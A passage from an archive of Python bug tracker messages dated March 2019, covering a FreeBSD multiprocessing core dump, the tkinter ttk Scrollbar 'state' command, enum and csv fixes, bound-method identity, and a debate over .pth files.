#5  0x0000000800385a5d in _PyMethodDef_RawFastCallKeywords (method=<optimized out>, self=0x80127a5f0, args=<optimized out>, nargs=2, kwnames=<optimized out>) at Objects/call.c:653
#6  0x00000008003847de in _PyCFunction_FastCallKeywords (func=0x8012820c0, args=0x0, nargs=0, kwnames=0xdbdbdbdbdbdbdbdb) at Objects/call.c:732
#7  0x000000080048e1f5 in call_function (pp_stack=0x7fffdf7faf98, oparg=<optimized out>, kwnames=0x0) at Python/ceval.c:4673
#8  0x00000008004892fa in _PyEval_EvalFrameDefault (f=0x8015b3a00, throwflag=<optimized out>) at Python/ceval.c:3294
#9  0x000000080048f03a in PyEval_EvalFrameEx (f=<optimized out>, throwflag=<error reading variable: Cannot access memory at address 0x0>) at Python/ceval.c:624
#10 _PyEval_EvalCodeWithName (_co=<optimized out>, globals=<optimized out>, locals=<optimized out>, args=<optimized out>, argcount=2, kwnames=0x0, kwargs=0x8025e25f8, kwcount=0, kwstep=1, defs=0x802567798,
    defcount=1, kwdefs=0x0, closure=0x0, name=0x8017e2930, qualname=0x80255b7c0) at Python/ceval.c:4035
#11 0x0000000800384690 in _PyFunction_FastCallKeywords (func=<optimized out>, stack=<optimized out>, nargs=0, kwnames=<optimized out>) at Objects/call.c:435
#12 0x000000080048e35f in call_function (pp_stack=0x7fffdf7fb2f0, oparg=<optimized out>, kwnames=0x0) at Python/ceval.c:4721

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Sun Mar  3 15:52:49 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sun, 03 Mar 2019 20:52:49 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared custom
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551646369.08.0.866212943163.issue36114@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Apparently is the Thread 1 the one that is causing the core dump

----------
nosy: +pitrou, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Sun Mar  3 15:53:58 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sun, 03 Mar 2019 20:53:58 +0000
Subject: [issue36114] test_multiprocessing_spawn dumps core in AMD64 FreeBSD
 CURRENT Shared custom
In-Reply-To: <1551161391.14.0.479239981135.issue36114@roundup.psfhosted.org>
Message-ID: <1551646438.94.0.0249011026401.issue36114@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

This is the state of the thread interpreter:

gdb) p tstate
$3 = (PyThreadState *) 0x80262ba10
(gdb) p tstate->interp
$4 = (PyInterpreterState *) 0xdbdbdbdbdbdbdbdb

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36114>
_______________________________________

From report at bugs.python.org  Sun Mar  3 16:08:33 2019
From: report at bugs.python.org (Martin Panter)
Date: Sun, 03 Mar 2019 21:08:33 +0000
Subject: [issue36172] csv module internal consistency
In-Reply-To: <1551641825.06.0.900973165633.issue36172@roundup.psfhosted.org>
Message-ID: <1551647313.22.0.223093136711.issue36172@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

The documentation <https://docs.python.org/dev/library/csv.html#module-contents> says you should ?open the files with newline=''.? IMO this is an unfortunate quirk of the CSV module. Everything else that I know of in the Python built-in library either works with binary files, which typically do no newline translation in Python 3, or is fine with newline translation enabled in text mode. See also Issue 10954 about making the behaviour stricter.

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36172>
_______________________________________

From report at bugs.python.org  Sun Mar  3 16:58:37 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 03 Mar 2019 21:58:37 +0000
Subject: [issue36169] Add overlap() method to statistics.NormalDist()
In-Reply-To: <1551567872.57.0.0650714757552.issue36169@roundup.psfhosted.org>
Message-ID: <1551650317.71.0.909204391851.issue36169@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12149
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36169>
_______________________________________

From report at bugs.python.org  Sun Mar  3 17:08:57 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Sun, 03 Mar 2019 22:08:57 +0000
Subject: [issue36173] BROTHER PRINTER CENTER
Message-ID: <1551650937.91.0.800638313228.issue36173@roundup.psfhosted.org>


New submission from Steven D'Aprano <steve+python at pearwood.info>:

No details given and a spammy, irrelevant title. Closing.

Dianmatang, if you are an actual person and not a spam bot, please try adding details of the bug, and using a more informative title.

----------
nosy: +steven.daprano
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Sun Mar  3 17:09:16 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 03 Mar 2019 22:09:16 +0000
Subject: [issue35899] '_is_sunder' function in 'enum' module fails on empty
 string
In-Reply-To: <1549376859.01.0.998806898699.issue35899@roundup.psfhosted.org>
Message-ID: <1551650956.08.0.738075303806.issue35899@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 8b914d2767acba3a9e78f1dacdc2d61dbfd7e304 by Miss Islington (bot) (Brennan D Baraban) in branch 'master':
bpo-35899: Fix Enum handling of empty and weird strings (GH-11891)
https://github.com/python/cpython/commit/8b914d2767acba3a9e78f1dacdc2d61dbfd7e304


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35899>
_______________________________________

From report at bugs.python.org  Sun Mar  3 17:09:33 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 03 Mar 2019 22:09:33 +0000
Subject: [issue35899] '_is_sunder' function in 'enum' module fails on empty
 string
In-Reply-To: <1549376859.01.0.998806898699.issue35899@roundup.psfhosted.org>
Message-ID: <1551650973.6.0.688033676362.issue35899@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12150

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35899>
_______________________________________

From report at bugs.python.org  Sun Mar  3 17:09:43 2019
From: report at bugs.python.org (miss-islington)
Date: Sun, 03 Mar 2019 22:09:43 +0000
Subject: [issue35899] '_is_sunder' function in 'enum' module fails on empty
 string
In-Reply-To: <1549376859.01.0.998806898699.issue35899@roundup.psfhosted.org>
Message-ID: <1551650983.28.0.846432896018.issue35899@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12151

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35899>
_______________________________________

From report at bugs.python.org  Sun Mar  3 17:18:18 2019
From: report at bugs.python.org (Ned Deily)
Date: Sun, 03 Mar 2019 22:18:18 +0000
Subject: [issue36173] apam
In-Reply-To: <1551650937.91.0.800638313228.issue36173@roundup.psfhosted.org>
Message-ID: <1551651498.62.0.333242469636.issue36173@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
title: BROTHER PRINTER CENTER -> apam

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Sun Mar  3 17:36:45 2019
From: report at bugs.python.org (Brennan D Baraban)
Date: Sun, 03 Mar 2019 22:36:45 +0000
Subject: [issue23460] Decimals do not obey ':g' exponential notation
 formatting rules
In-Reply-To: <1423847721.13.0.666007782647.issue23460@psf.upfronthosting.co.za>
Message-ID: <1551652605.89.0.356383901235.issue23460@roundup.psfhosted.org>


Brennan D Baraban <375 at holbertonschool.com> added the comment:

Hi Stefan. Is there an update you would like me to make on this PR? Otherwise, pinging for review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23460>
_______________________________________

From report at bugs.python.org  Sun Mar  3 18:24:07 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Sun, 03 Mar 2019 23:24:07 +0000
Subject: [issue35843] importlib.util docs for namespace packages innaccurate
In-Reply-To: <1548698590.94.0.426601552573.issue35843@roundup.psfhosted.org>
Message-ID: <1551655447.81.0.478584232198.issue35843@roundup.psfhosted.org>


Barry A. Warsaw <barry at python.org> added the comment:

+1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35843>
_______________________________________

From report at bugs.python.org  Sun Mar  3 18:37:42 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 03 Mar 2019 23:37:42 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
In-Reply-To: <1551639640.6.0.421469451784.issue36171@roundup.psfhosted.org>
Message-ID: <1551656262.68.0.00184109019898.issue36171@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

You need to use the ttk Scrollbar to access state.  The standard tk Scrollbar doesn't have it.

Take a look at the doc page for ttk:
https://docs.python.org/3/library/tkinter.ttk.html

And the New Mexico Institute pages for ttk:
https://infohost.nmt.edu/tcc/help/pubs/tkinter/web/ttk-Scrollbar.html
https://infohost.nmt.edu/tcc/help/pubs/tkinter/web/ttk-Widget.html

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 18:46:15 2019
From: report at bugs.python.org (Anthony Zeeman)
Date: Sun, 03 Mar 2019 23:46:15 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
In-Reply-To: <1551656262.68.0.00184109019898.issue36171@roundup.psfhosted.org>
Message-ID: <358785103.8647661.1551656759124@mail.yahoo.com>


Anthony Zeeman <ahzeeman at yahoo.ca> added the comment:

Cheryl, here is the option listing from the ttk scrollbar configure method:
TTK Scrollbar options: {'command': ('command', 'command', 'Command', '', '140274415153928offsetChanged'), 'orient': ('orient', 'orient', 'Orient', <index object: 'vertical'>, <index object: 'vertical'>), 'takefocus': ('takefocus', 'takeFocus', 'TakeFocus', '', ''), 'cursor': ('cursor', 'cursor', 'Cursor', '', ''), 'style': ('style', 'style', 'Style', '', ''), 'class': ('class', '', '', '', '')}
Here is the listing from the tk scrollbar configure method:
TK Scrollbar options: {'activebackground': ('activebackground', 'activeBackground', 'Foreground', '#ececec', '#ececec'), 'activerelief': ('activerelief', 'activeRelief', 'Relief', 'raised', 'raised'), 'background': ('background', 'background', 'Background', '#d9d9d9', '#d9d9d9'), 'bd': ('bd', 'borderWidth'), 'bg': ('bg', 'background'), 'borderwidth': ('borderwidth', 'borderWidth', 'BorderWidth', '1', '1'), 'command': ('command', 'command', 'Command', '', '140677242826952offsetChanged'), 'cursor': ('cursor', 'cursor', 'Cursor', '', ''), 'elementborderwidth': ('elementborderwidth', 'elementBorderWidth', 'BorderWidth', '-1', '-1'), 'highlightbackground': ('highlightbackground', 'highlightBackground', 'HighlightBackground', '#d9d9d9', '#d9d9d9'), 'highlightcolor': ('highlightcolor', 'highlightColor', 'HighlightColor', '#000000', '#000000'), 'highlightthickness': ('highlightthickness', 'highlightThickness', 'HighlightThickness', '0', '0'), 'jump': ('jump', 'jump', 'Jump', '0', '0'), 'orient': ('orient', 'orient', 'Orient', 'vertical', 'vertical'), 'relief': ('relief', 'relief', 'Relief', 'sunken', 'sunken'), 'repeatdelay': ('repeatdelay', 'repeatDelay', 'RepeatDelay', '300', '300'), 'repeatinterval': ('repeatinterval', 'repeatInterval', 'RepeatInterval', '100', '100'), 'takefocus': ('takefocus', 'takeFocus', 'TakeFocus', '', ''), 'troughcolor': ('troughcolor', 'troughColor', 'Background', '#b3b3b3', '#b3b3b3'), 'width': ('width', 'width', 'Width', '11', '11')}
The option is missing for both variants of the scrollbar.

    On Sunday, March 3, 2019, 6:37:47 p.m. EST, Cheryl Sabella <report at bugs.python.org> wrote:  

Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

You need to use the ttk Scrollbar to access state.? The standard tk Scrollbar doesn't have it.

Take a look at the doc page for ttk:
https://docs.python.org/3/library/tkinter.ttk.html

And the New Mexico Institute pages for ttk:
https://infohost.nmt.edu/tcc/help/pubs/tkinter/web/ttk-Scrollbar.html
https://infohost.nmt.edu/tcc/help/pubs/tkinter/web/ttk-Widget.html

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 19:00:55 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 04 Mar 2019 00:00:55 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551657655.04.0.473397172512.issue33329@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 8ec1fd11f2d524859cfefae76458fcfd22decf65 by larryhastings (Cheryl Sabella) in branch '3.5':
[3.5] bpo-33329: Fix multiprocessing regression on newer glibcs (GH-6575) (#12144)
https://github.com/python/cpython/commit/8ec1fd11f2d524859cfefae76458fcfd22decf65


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Sun Mar  3 19:01:34 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 04 Mar 2019 00:01:34 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
In-Reply-To: <1551639640.6.0.421469451784.issue36171@roundup.psfhosted.org>
Message-ID: <1551657694.5.0.52070028051.issue36171@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

That's because state isn't an option.  :-)

I should have included the link to the ttk scrollbar manpage.
https://www.tcl.tk/man/tcl/TkCmd/ttk_scrollbar.htm

You'll see on that page that 'state' is listed as a Widget Command and not an Option:
    STANDARD OPTIONS

        -class, undefined, undefined 
        -cursor, cursor, Cursor 
        -style, style, Style 
        -takefocus, takeFocus, TakeFocus 

    WIDGET-SPECIFIC OPTIONS

        -command, command, Command 
        -orient, orient, Orient 

    WIDGET COMMAND

        pathName cget option 
        pathName configure ?option? ?value option value ...? 
        pathName get 
        pathName identify x y 
        pathName instate statespec ?script? 
        pathName set first last 
        pathName state ?stateSpec? 

    INTERNAL COMMANDS

        pathName delta deltaX deltaY 
        pathName fraction x y 

    SCROLLING COMMANDS

        prefix moveto fraction 
        prefix scroll number units 
        prefix scroll number pages 

If you notice, your listing of the options includes the 6 options listed above: command, orient, takefocus, cursor, style, class.  It doesn't list any of the other widget commands, such as cget or configure.  state is like those and not like the options.

In other words, you would use `w.state(['!disabled', 'selected'])` as shown in the example on the New Mexico Tech link.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 19:01:41 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 04 Mar 2019 00:01:41 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551657701.87.0.136057433407.issue33329@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 2226139aa2b69047cb54dbcfd79f5c2e36f98653 by larryhastings (Cheryl Sabella) in branch '3.4':
[3.4] bpo-33329: Fix multiprocessing regression on newer glibcs (GH-6575) (#12145)
https://github.com/python/cpython/commit/2226139aa2b69047cb54dbcfd79f5c2e36f98653


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Sun Mar  3 19:02:50 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 04 Mar 2019 00:02:50 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551657770.3.0.354728735105.issue33329@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

Now fixed in 3.4 and 3.5.  I can cut the RCs.  Huzzah!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Sun Mar  3 19:06:08 2019
From: report at bugs.python.org (Anthony Zeeman)
Date: Mon, 04 Mar 2019 00:06:08 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
In-Reply-To: <1551657694.5.0.52070028051.issue36171@roundup.psfhosted.org>
Message-ID: <1203018186.8643298.1551657962190@mail.yahoo.com>


Anthony Zeeman <ahzeeman at yahoo.ca> added the comment:

Cheryl, thank you for your help.

    On Sunday, March 3, 2019, 7:02:47 p.m. EST, Cheryl Sabella <report at bugs.python.org> wrote:  

Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

That's because state isn't an option.? :-)

I should have included the link to the ttk scrollbar manpage.
https://www.tcl.tk/man/tcl/TkCmd/ttk_scrollbar.htm

You'll see on that page that 'state' is listed as a Widget Command and not an Option:
? ? STANDARD OPTIONS

? ? ? ? -class, undefined, undefined 
? ? ? ? -cursor, cursor, Cursor 
? ? ? ? -style, style, Style 
? ? ? ? -takefocus, takeFocus, TakeFocus 

? ? WIDGET-SPECIFIC OPTIONS

? ? ? ? -command, command, Command 
? ? ? ? -orient, orient, Orient 

? ? WIDGET COMMAND

? ? ? ? pathName cget option 
? ? ? ? pathName configure ?option? ?value option value ...? 
? ? ? ? pathName get 
? ? ? ? pathName identify x y 
? ? ? ? pathName instate statespec ?script? 
? ? ? ? pathName set first last 
? ? ? ? pathName state ?stateSpec? 

? ? INTERNAL COMMANDS

? ? ? ? pathName delta deltaX deltaY 
? ? ? ? pathName fraction x y 

? ? SCROLLING COMMANDS

? ? ? ? prefix moveto fraction 
? ? ? ? prefix scroll number units 
? ? ? ? prefix scroll number pages 

If you notice, your listing of the options includes the 6 options listed above: command, orient, takefocus, cursor, style, class.? It doesn't list any of the other widget commands, such as cget or configure.? state is like those and not like the options.

In other words, you would use `w.state(['!disabled', 'selected'])` as shown in the example on the New Mexico Tech link.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 19:47:55 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 04 Mar 2019 00:47:55 +0000
Subject: [issue36171] tkinter scrollbar missing 'state' option
In-Reply-To: <1551639640.6.0.421469451784.issue36171@roundup.psfhosted.org>
Message-ID: <1551660475.44.0.795270083605.issue36171@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

You're welcome.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 20:24:54 2019
From: report at bugs.python.org (Jon Janzen)
Date: Mon, 04 Mar 2019 01:24:54 +0000
Subject: [issue26707] plistlib fails to parse bplist with 0x80 UID values
In-Reply-To: <1459992841.57.0.391610307965.issue26707@psf.upfronthosting.co.za>
Message-ID: <1551662694.64.0.142320806818.issue26707@roundup.psfhosted.org>


Change by Jon Janzen <jjjonjanzen at gmail.com>:


----------
pull_requests: +12152

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26707>
_______________________________________

From report at bugs.python.org  Sun Mar  3 20:36:30 2019
From: report at bugs.python.org (Ethan Furman)
Date: Mon, 04 Mar 2019 01:36:30 +0000
Subject: [issue35899] '_is_sunder' function in 'enum' module fails on empty
 string
In-Reply-To: <1549376859.01.0.998806898699.issue35899@roundup.psfhosted.org>
Message-ID: <1551663390.41.0.856795467835.issue35899@roundup.psfhosted.org>


Ethan Furman <ethan at stoneleaf.us> added the comment:

Thank you, everyone!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.6, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35899>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:03:43 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 04 Mar 2019 02:03:43 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
Message-ID: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

The licenseUrl field in the nuget packages has been deprecated. We should link to the license from the description or summary fields.

----------
components: Windows
messages: 337060
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Remove licenseUrl field from nuget packages
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:13:24 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Mon, 04 Mar 2019 02:13:24 +0000
Subject: [issue31861] add aiter() and anext() functions to operator module
In-Reply-To: <1508851575.6.0.213398074469.issue31861@psf.upfronthosting.co.za>
Message-ID: <1551665604.67.0.513821978691.issue31861@roundup.psfhosted.org>


Dima Tisnek <dimaqq at gmail.com> added the comment:

https://www.python.org/dev/peps/pep-0525/#aiter-and-anext-builtins kinda promised `aiter` and `anext` built-ins.

This ticket seems idle.

Perhaps it's time for the decider club to either remove that language from PEP-525 or make a plan for aiter/anext?

----------
nosy: +Dima.Tisnek
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31861>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:25:50 2019
From: report at bugs.python.org (Jon Janzen)
Date: Mon, 04 Mar 2019 02:25:50 +0000
Subject: [issue26707] plistlib fails to parse bplist with 0x80 UID values
In-Reply-To: <1459992841.57.0.391610307965.issue26707@psf.upfronthosting.co.za>
Message-ID: <1551666350.89.0.997091513638.issue26707@roundup.psfhosted.org>


Jon Janzen <jjjonjanzen at gmail.com> added the comment:

I recently upgraded my python version and my hot-patch broke due to changes in bpo-32072 (GH-4455).

It reminded me of this b.p.o., and after reading through the messages to remind myself where the patch stood I realized that my tone friendly towards the end was not overly.

@ronaldoussoren, I apologize if I offended.

In other news, I re-implemented the patch (and filed a new pull-request) due to the following:

* Things got spread out over too many commits
* NSKeyedArchiver only uses binary mode, so I removed the XML compatibility
* I also wrote a few tests to verify the UID implementation

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26707>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:42:19 2019
From: report at bugs.python.org (Abe Leite)
Date: Mon, 04 Mar 2019 02:42:19 +0000
Subject: [issue36175] Identity of bound methods
Message-ID: <1551667339.54.0.414288552801.issue36175@roundup.psfhosted.org>


New submission from Abe Leite <abrahamjleite at gmail.com>:

The following code produces unexpected behavior in all versions of Python I have tested.

>>> class a:
...     def method(self): pass

>>> inst = a()
>>> inst.method is inst.method
False

It appears that id(inst.method) changes each time inst.method is accessed by normal means.

So the tuple (id(inst.method), id(inst.method)) will have the same item repeated, but the tuple (id(inst.method), inst.method, id(inst.method)) will not.

Note that for unbound methods and other functions, this issue does not occur.

This creates a transparency issue for bound instance methods taking the place of functions.

My apologies if this is a design decision that has already been resolved! It just seemed like a strange behavior to me.

--Abe

----------
components: Interpreter Core
messages: 337063
nosy: Abe Leite
priority: normal
severity: normal
status: open
title: Identity of bound methods
type: behavior
versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36175>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:50:21 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Mon, 04 Mar 2019 02:50:21 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <74054139-8141-4396-8075-EBCDB8A54E1D@python.org>
Message-ID: <670c62be-f40b-f449-2f0f-f1cde4f2dca0@mail.ru>


Ivan Pozdeev <ivan_pozdeev at mail.ru> added the comment:

On 02.03.2019 9:01, Barry A. Warsaw

In all the cases you've described, Python is no different from any other 
Linux software. E.g. I can install something into /etc/profile.d that 
would break the shell or set an envvar that would change the behavior of 
standard utilities.
This is by design: Linux is designed for maximum interoperability, so 
there's only one of each component in the system and everything uses it 
whenever it needs that kind of functionality. It does support multiple 
versions of the same software, but it's a compromise that significantly 
complicates maintenance (primarily how to disambiguate them when 
something requests just "component X"), so they strive to avoid it 
whenever possible.
Likewise, complete freedom for root to wreak havoc in the system is also 
by design: distro maintainers only test and support official packages; 
anything else you use is either your responsibility or an app supplier's 
if they provide official support (and are within their right to deny 
support if you tweak the environment beyond their support promise) -- 
same as for any other software as well.

This is not even specific to .pth files, either, so you won't really 
eliminate the problem by removing them. You can break any other part of 
Python in subtle ways just as well -- e.g. overwrite or override binary 
files with incompatible ones, causing segfaults in random places 
(https://stackoverflow.com/q/51816639/648265 ).

Now, Linux does have "lower tier environments" that don't automatically 
affect "higher tiers". 1) Software installed into /usr/local doesn't 
hijack system scripts thanks to absolute paths in their shebangs; 
software in /opt is not on PATH at all; 2) /etc/profile* and bashrc are 
only executed by login shells and interactive shells, not by scripts, 
limiting their effect to processes created within a user session; 3) 
anything within a user's profile or run as a regular user (including 
~/.bash*) doesn't affect system-wide settings and processes run as root.

Blindly replicating 2) won't do for Python, however. Unlike Bash which 
has all the functionality compiled in, Python has an external standard 
library and arbitrary additional packages. They both are essential for 
its operation as a system component that other software can use without 
additional manipulations, AND Python gives the user freedom on how to 
arrange them in the system. So there must be a way to provide any 
"additional manipulations" that may be needed that the built-in startup 
logic doesn't have. From administration POV, any such startup logic is a 
part of the core offer to the system: core files+libraries+connecting 
logic = Python system component, so it must be invoked whenever Python 
is invoked.
And we do already have ways to apply startup code only to a "lower-tier 
environment" if such a need arises: user-specific -- user site; 
interactive-specific -- PYTHONSTARTUP.? There's no such thing as a 
"login shell" for Python but there's Python run in a user session; 
/etc/profile* can set envvars that would apply only there.

So it seems to me that what you are asking for is "/etc/profile.d for 
Python". When designing such a feature, note, however, that the concept 
of login sessions is completely alien to Python. I believe a way to 
provide an additional site-packages directory will do (I can't readily 
see an already available way to do so in 
https://docs.python.org/3/using/cmdline.html ).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Sun Mar  3 22:17:11 2019
From: report at bugs.python.org (Kristoffer Law)
Date: Mon, 04 Mar 2019 03:17:11 +0000
Subject: [issue36176] Make IDLE Autocomplete / Calltip Window Colors
 Configurable
Message-ID: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>


New submission from Kristoffer Law <klaw at kslaw.me>:

IDLE utilizes the foreground text color from KDE/Qt (Window Text) for the autocomplete and calltip windows. If a dark theme is selected and the window text changed to white or another bright color, it can be difficult or impossible to see due to lack of contrast. There does not appear to be any way to change these particular windows text or background color settings from IDLE's configuration.

Modifying the variables under line 192 in autocomplete_w.py (bg="white") and line 83 in calltip_w.py (background="#ffffe0") allows these windows to change background colors.

Perhaps add these as settings in IDLE's config? Or force the foreground color to always be black?

Python 3.7.2
GCC 8.2.1

KDE Plasma Version: 5.15.2
KDE Frameworks Version: 5.55.0
Qt Version: 5.12.1

(This is my first bug submission ever, so if I missed something obvious, I apologize in advance)

----------
assignee: terry.reedy
components: IDLE
messages: 337065
nosy: greylaw89, terry.reedy
priority: normal
severity: normal
status: open
title: Make IDLE Autocomplete / Calltip Window Colors Configurable
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sun Mar  3 22:22:43 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 04 Mar 2019 03:22:43 +0000
Subject: [issue36175] Identity of bound methods
In-Reply-To: <1551667339.54.0.414288552801.issue36175@roundup.psfhosted.org>
Message-ID: <1551669763.59.0.680006351554.issue36175@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

It is a designed behavior.

I agree that it looks strange to some users who don't know implementation.
And that's why people should not use `is` normally, except some use cases (e.g. `is None`.)

----------
nosy: +inada.naoki
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36175>
_______________________________________

From report at bugs.python.org  Sun Mar  3 22:54:21 2019
From: report at bugs.python.org (Abe Leite)
Date: Mon, 04 Mar 2019 03:54:21 +0000
Subject: [issue36175] Identity of bound methods
In-Reply-To: <1551667339.54.0.414288552801.issue36175@roundup.psfhosted.org>
Message-ID: <1551671661.56.0.130481909758.issue36175@roundup.psfhosted.org>


Abe Leite <abrahamjleite at gmail.com> added the comment:

Hi Inada-san,

Could you explain (or send me a link to) what happens when an instance method is accessed and why this should be different from what happens when an unbound method is accessed?

The `is` keyword has been very useful for me in introspection cases and that is why I'm confused that it doesn't behave as expected here.

Thank you,

Abe

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36175>
_______________________________________

From report at bugs.python.org  Sun Mar  3 23:10:38 2019
From: report at bugs.python.org (A.M. Kuchling)
Date: Mon, 04 Mar 2019 04:10:38 +0000
Subject: [issue20906] Issues in Unicode HOWTO
In-Reply-To: <1394702187.81.0.00522221343959.issue20906@psf.upfronthosting.co.za>
